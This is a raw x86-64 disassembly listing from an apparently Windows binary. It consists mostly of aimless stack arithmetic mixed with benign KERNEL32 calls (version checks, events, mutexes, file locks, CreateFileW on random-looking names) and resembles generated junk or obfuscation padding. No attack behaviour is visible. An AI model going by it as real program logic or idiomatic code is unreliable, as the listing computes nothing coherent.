mov rcx, qword [rsp + 0x13bf8]
mov byte [rcx], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x15048], rax
mov rax, qword [rsp + 0x14cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d10]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f70]
mov byte [rcx], al
mov rax, qword [0x14036a018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369f48]
mov word [rcx], ax
mov rax, qword [rsp + 0x14130]
mov rcx, qword [rsp + 0x14d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f54], eax
mov eax, dword [rsp + 0x9ff8]
mov dword [rsp + 0xa0cc], eax
mov rax, qword [0x140369bf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13b58]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x145a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x778]
mov byte [rsp + 0x78b], al
mov eax, dword [rsp + 0x9b84]
mov ecx, dword [rsp + 0x9a90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b98]
mov dword [rcx], eax
mov rax, qword [0x140369d20]
mov rcx, qword [rsp + 0x14290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93fc], eax
mov eax, dword [rsp + 0xa048]
mov ecx, dword [rsp + 0x58d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
mov rax, qword [rsp + 0x142c0]
mov rcx, qword [rsp + 0x13c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d00], eax
mov rax, qword [rsp + 0x13ec0]
movzx eax, byte [rax]
mov byte [0x140363f6d], al
lea rax, [rsp + 0x2cd8]
mov qword [rsp + 0x15050], rax
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b50]
shl eax, cl
mov dword [rsp + 0x97b4], eax
mov eax, dword [0x140369d38]
mov dword [rsp + 0xa0d0], eax
movsx eax, byte [rsp + 0x491]
movsx ecx, byte [rsp + 0x559]
sar eax, cl
mov rcx, qword [rsp + 0x14650]
mov byte [rcx], al
mov rax, qword [rsp + 0x14fd0]
movsx eax, word [rax]
movsx ecx, word [0x1403624b8]
xor eax, ecx
mov rcx, qword [rsp + 0x14920]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa000], eax
lea rax, [rsp + 0x2ccc]
mov qword [rsp + 0x15058], rax
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x204]
or eax, ecx
mov byte [rsp + 0x742], al
mov rax, qword [rsp + 0x14388]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6598], eax
mov rax, qword [rsp + 0x13fe0]
mov ecx, dword [rsp + 0xa028]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362480], eax
mov rax, qword [rsp + 0x14e20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a34]
mov ecx, dword [0x140369c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d38], eax
mov eax, dword [rsp + 0x9534]
mov dword [rsp + 0xa0d4], eax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12fc0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14448]
mov byte [rcx], al
lea rax, [0x140362448]
mov qword [rsp + 0x15060], rax
mov rax, qword [rsp + 0x13870]
mov ecx, dword [rsp + 0x9d74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b2c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15068], rax
mov eax, dword [rsp + 0x9f10]
mov dword [rsp + 0xa0d8], eax
mov eax, dword [rsp + 0x9c70]
mov ecx, dword [0x140362478]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x57e8]
mov ecx, dword [rsp + 0x6278]
sub ecx, eax
mov eax, ecx
mov dword [0x140369d50], eax
mov rax, qword [rsp + 0x14f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ba8], ax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0x15070], rax
mov rax, qword [rsp + 0x13550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13bb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76e], al
mov rax, qword [rsp + 0x14fd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2074]
xor eax, ecx
mov word [rsp + 0x1bf0], ax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4c210]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b40], eax
mov rax, qword [rsp + 0x12de0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x86f8]
shl eax, cl
mov dword [rsp + 0x73a0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e90], eax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b7c]
sar eax, cl
mov rcx, qword [rsp + 0x14038]
mov dword [rcx], eax
lea rax, [0x140369fdc]
mov qword [rsp + 0x15078], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b250]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa0dc], eax
movzx eax, byte [rsp + 0x75f]
mov rcx, qword [rsp + 0x13590]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x76b], al
lea rax, [rsp + 0x7dd0]
mov qword [0x14036a100], rax
lea rax, [rsp + 0x9bec]
mov qword [rsp + 0x15080], rax
mov rax, qword [rsp + 0x14b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x76ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa038]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fa4], eax
movzx eax, word [rsp + 0x280c]
mov word [rsp + 0x2d10], ax
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13340]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x136a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x144d0]
mov rcx, qword [rsp + 0x14ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x755c], eax
lea rdx, [rsp + 0x42b88]
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x133e0]
mov rcx, qword [rsp + 0x13320]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14808]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13dc0]
mov ecx, dword [rsp + 0x9ee0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a28], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov dword [0x14036a108], eax
mov eax, dword [0x1403624d4]
mov dword [rsp + 0xa0e0], eax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x139c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2074]
mov word [rsp + 0x2d14], ax
movzx eax, byte [0x140363f6d]
movzx ecx, byte [rsp + 0x778]
and eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
lea rax, [rsp + 0x26d0]
mov qword [rsp + 0x15088], rax
mov rax, qword [rsp + 0x13df0]
mov rcx, qword [rsp + 0x13fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a00]
mov rcx, qword [rsp + 0x13320]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14718]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x777]
mov rcx, qword [rsp + 0x14448]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0x14570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
shl eax, cl
mov rcx, qword [0x140369f38]
mov word [rcx], ax
mov rax, qword [rsp + 0x14fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6438]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac0], eax
mov eax, dword [rsp + 0x9bd8]
mov dword [rsp + 0xa0e4], eax
mov dword [rsp + 0x4c7b0], 0x11c
mov dword [rsp + 0x20], 0x24ee
mov r9d, 0x2d8e
mov r8d, 0x2e74
mov edx, 0x28c4
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9df4], eax
mov rax, qword [rsp + 0x139d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8924]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d00]
mov ecx, dword [rsp + 0x5d50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14290]
mov dword [rcx], eax
lea rax, [rsp + 0x2280]
mov qword [rsp + 0x15090], rax
mov rax, qword [rsp + 0x14c40]
movzx eax, byte [rax]
imul eax, eax, 0xa0
mov rcx, qword [rsp + 0x13120]
mov byte [rcx], al
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0x15098], rax
mov rax, qword [rsp + 0x14df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f94]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13f38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14036a030]
mov word [rcx], ax
mov rcx, qword [rsp + 0x135f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa0e8], eax
movsx eax, byte [rsp + 0x761]
mov rcx, qword [rsp + 0x14cc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x748], al
lea rax, [rsp + 0x75d]
mov qword [rsp + 0x150a0], rax
mov rax, qword [0x140369df0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13f08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b98], ax
mov rax, qword [rsp + 0x131f8]
mov ecx, dword [rsp + 0x59d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7db0], eax
mov eax, dword [rsp + 0x9f78]
mov ecx, dword [rsp + 0x6850]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x14fe0]
mov rcx, qword [rsp + 0x14458]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c38], eax
mov eax, dword [rsp + 0x876c]
mov dword [rsp + 0xa0ec], eax
mov rax, qword [rsp + 0x13f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6700], eax
mov rax, qword [rsp + 0x14510]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x774]
or eax, ecx
mov byte [rsp + 0x3f0], al
lea rax, [rsp + 0x2c98]
mov qword [0x14036a110], rax
mov rax, qword [rsp + 0x13948]
mov eax, dword [rax]
mov ecx, dword [0x140369f88]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14210]
mov dword [rcx], eax
mov eax, dword [rsp + 0x81e0]
mov dword [rsp + 0xa0f0], eax
mov eax, dword [rsp + 0x9d58]
movzx ecx, al
mov eax, dword [rsp + 0x9fb8]
sar eax, cl
mov rcx, qword [rsp + 0x14f80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d70]
movzx ecx, al
mov eax, dword [0x140362474]
shl eax, cl
mov dword [rsp + 0x9bb8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa000], eax
lea rcx, [rsp + 0x4c450]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9980], eax
lea rax, [rsp + 0x2c6c]
mov qword [rsp + 0x150a8], rax
movzx eax, byte [rsp + 0x739]
mov rcx, qword [rsp + 0x14c10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x72e], al
lea rax, [0x140363edd]
mov qword [rsp + 0x150b0], rax
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x2858]
and eax, ecx
mov word [rsp + 0x12ac], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x150b8], rax
mov eax, dword [rsp + 0x777c]
mov ecx, dword [rsp + 0x9f0c]
sub ecx, eax
mov eax, ecx
mov dword [0x140369d90], eax
mov eax, dword [rsp + 0x7fb0]
mov ecx, dword [rsp + 0x8754]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14de0]
mov dword [rcx], eax
lea rax, [rsp + 0x752]
mov qword [rsp + 0x150c0], rax
mov rax, qword [rsp + 0x136d8]
movzx eax, word [rax]
mov rcx, qword [0x140369dc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ba4], ax
lea rdx, [rsp + 0x42d10]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9ef8], eax
mov rax, qword [rsp + 0x139a0]
mov eax, dword [rax]
mov dword [rsp + 0xa0f4], eax
mov rax, qword [rsp + 0x14160]
mov rcx, qword [rsp + 0x14290]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d2c]
mov ecx, dword [rsp + 0xa05c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ef0]
mov ecx, dword [rsp + 0x8754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8008], eax
mov rax, qword [rsp + 0x14e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x744], al
movzx eax, word [rsp + 0x2b94]
mov rcx, qword [rsp + 0x14a18]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362500], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3a97
mov r9d, 0x3001
mov r8d, 0xf78ad99
mov edx, 2
mov rcx, qword [rsp + 0x14630]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa0f8], eax
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9e54]
mov dword [rsp + 0xa0fc], eax
mov rax, qword [rsp + 0x13e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6798]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c64], eax
mov rax, qword [0x140369fa0]
mov ecx, dword [rsp + 0x59cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x965c], eax
mov rax, qword [rsp + 0x147f8]
mov ecx, dword [rsp + 0x9bec]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9d0c], eax
mov rax, qword [rsp + 0x146d0]
mov eax, dword [rax]
mov rcx, qword [0x140369f20]
mov qword [rsp + 0x150c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x150c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13c18]
mov dword [rcx], eax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x150d0], rax
mov rax, qword [rsp + 0x13230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13008]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x18c4], ax
mov rax, qword [0x140369d88]
movzx eax, word [rax]
mov word [rsp + 0x2d18], ax
movzx eax, byte [rsp + 0x735]
mov byte [0x140363f6e], al
mov eax, dword [rsp + 0x5480]
mov ecx, dword [rsp + 0x9e20]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13920]
mov ecx, dword [rsp + 0x9f1c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14580]
mov dword [rcx], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x150d8], rax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba8]
and eax, ecx
mov rcx, qword [rsp + 0x14f08]
mov word [rcx], ax
mov eax, dword [rsp + 0x9c38]
mov dword [rsp + 0xa100], eax
mov rax, qword [0x14036a100]
mov ecx, dword [rsp + 0x9d8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9fbc], eax
mov eax, dword [rsp + 0x64c8]
mov ecx, dword [rsp + 0x78f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bb0], eax
lea rax, [rsp + 0x527c]
mov qword [rsp + 0x150e0], rax
movzx eax, word [rsp + 0x2cb8]
mov rcx, qword [rsp + 0x140c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369d88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x49b]
movzx ecx, byte [rsp + 0x742]
and eax, ecx
mov rcx, qword [rsp + 0x15020]
mov byte [rcx], al
lea rax, [0x14036a090]
mov qword [rsp + 0x150e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
mov rax, qword [rsp + 0x134c0]
mov rcx, qword [rsp + 0x14f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13540]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2c58]
movsx ecx, word [rsp + 0x2ca8]
add eax, ecx
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14750]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x260], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, word [rsp + 0x26d0]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1560], ax
lea rax, [rsp + 0x75d]
mov qword [rsp + 0x150f0], rax
mov rax, qword [rsp + 0x13758]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8e40]
shr eax, cl
mov rcx, qword [rsp + 0x150e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8340]
shl eax, cl
mov rcx, qword [0x140369fa0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xf8c
mov r9d, 0x3145
mov r8d, 0x17d7
mov edx, 0x2039
mov rcx, qword [rsp + 0x14d68]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa104], eax
lea rax, [rsp + 0x94d0]
mov qword [rsp + 0x150f8], rax
mov rax, qword [rsp + 0x14a40]
mov rcx, qword [rsp + 0x14aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8dcc], eax
mov eax, dword [rsp + 0x9c24]
mov ecx, dword [rsp + 0xa094]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x75f]
mov byte [rsp + 0x78c], al
movzx eax, word [rsp + 0x2cb0]
movzx ecx, word [rsp + 0x1384]
add eax, ecx
mov word [rsp + 0x2cbc], ax
lea rax, [rsp + 0x9b44]
mov qword [rsp + 0x15100], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
mov rax, qword [rsp + 0x134f8]
mov ecx, dword [0x140369c64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13be8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a18]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14b08]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xddd
mov r9d, 0x1059
mov r8d, 0x950
mov edx, 0x2fd1
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8340]
sub ecx, eax
mov eax, ecx
mov dword [0x140362504], eax
mov rax, qword [0x140369f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ee0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x16e], al
movzx eax, word [rsp + 0x26fc]
mov rcx, qword [rsp + 0x138e8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x137d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1bf0]
mov word [rsp + 0x2d1c], ax
movsx eax, byte [0x140363f0c]
movsx ecx, byte [rsp + 0x6f8]
add eax, ecx
mov rcx, qword [rsp + 0x14868]
mov byte [rcx], al
mov eax, dword [rsp + 0x7dd0]
mov ecx, dword [rsp + 0x9d98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x87e8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.piBUygJUo2ts0gnCQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15108], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4beb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c58], eax
mov eax, dword [0x140369f28]
mov dword [rsp + 0xa108], eax
mov rcx, qword [rsp + 0x15068]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9bf8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15110], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa068], eax
mov rax, qword [rsp + 0x138a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13248]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14250]
mov word [rcx], ax
lea rax, [rsp + 0x774]
mov qword [rsp + 0x15118], rax
mov eax, dword [rsp + 0x6ce8]
mov dword [0x14036a118], eax
mov rax, qword [0x14036a0c8]
mov rcx, qword [rsp + 0x13108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13600]
mov rcx, qword [rsp + 0x14518]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9664], eax
mov eax, dword [rsp + 0x9ffc]
mov rcx, qword [rsp + 0x150e8]
mov qword [rsp + 0x15120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15120]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14898]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x26fc], ax
lea rax, [rsp + 0x779]
mov qword [rsp + 0x15128], rax
mov eax, dword [rsp + 0x9b78]
mov ecx, dword [rsp + 0x9e10]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138d8]
mov eax, dword [rax]
mov dword [rsp + 0xa10c], eax
mov dword [rsp + 0x20], 0xefd
mov r9d, 0x3a07
mov r8d, 0x2a2f
mov edx, 0x200e
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9e24], eax
mov rcx, qword [rsp + 0x15068]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [rsp + 0x9f18]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x87e8], eax
mov eax, dword [rsp + 0x8fd8]
mov ecx, dword [0x14036244c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x148f0]
mov ecx, dword [rsp + 0x9f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14d88]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.1vnGyvIy1DGvGjAPMbQz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15130], rax
lea rax, [rsp + 0xd3]
mov qword [rsp + 0x15138], rax
mov rax, qword [0x140369e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13958]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x13038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ab8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13960]
mov word [rcx], ax
lea rcx, [rsp + 0x4c7b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9ae0], eax
mov rax, qword [rsp + 0x14df0]
mov ecx, dword [rsp + 0x9074]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6588], eax
mov rax, qword [rsp + 0x13198]
mov eax, dword [rax]
mov dword [rsp + 0xa110], eax
mov rax, qword [rsp + 0x14520]
movzx eax, byte [rax]
imul eax, eax, 0x9d
mov rcx, qword [rsp + 0x150f0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2d0c]
movzx ecx, word [rsp + 0x2b9c]
add eax, ecx
mov word [0x140362500], ax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov dword [rsp + 0xa114], eax
mov eax, dword [rsp + 0x9e04]
mov ecx, dword [0x140369eb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e08], eax
mov rax, qword [rsp + 0x14f80]
mov rcx, qword [rsp + 0x144d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13780]
mov dword [rcx], eax
mov rax, qword [0x140369ef8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13368]
mov qword [rsp + 0x15140], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15140]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5738], eax
movzx eax, word [rsp + 0x2c88]
mov rcx, qword [rsp + 0x145d0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12ff8]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4b250]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa118], eax
lea rax, [rsp + 0x75f]
mov qword [rsp + 0x15148], rax
mov eax, dword [rsp + 0x9e78]
movzx ecx, al
mov eax, dword [rsp + 0x870c]
shl eax, cl
mov dword [rsp + 0x78f4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa078], eax
lea rax, [rsp + 0x9dc8]
mov qword [rsp + 0x15150], rax
movzx eax, word [rsp + 0x2c58]
mov word [0x14036a11c], ax
movsx eax, byte [rsp + 0x407]
movsx ecx, byte [rsp + 0x4fe]
imul eax, ecx
mov rcx, qword [rsp + 0x12ed0]
mov byte [rcx], al
mov edx, 0x21c5
mov rcx, qword [rsp + 0x13168]
